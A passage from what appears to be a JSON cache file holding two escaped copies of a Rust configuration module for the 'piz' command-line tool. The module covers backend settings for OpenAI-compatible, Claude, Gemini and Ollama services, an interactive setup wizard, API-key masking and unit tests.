default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "40ad1a9abaea5a235ebf0fb7f70ad5fbfa61ce58": {"t": 1785760767.278497, "n": 17346, "h": "84b817ee5a9642f1", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(|| dirs::home_dir())\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n 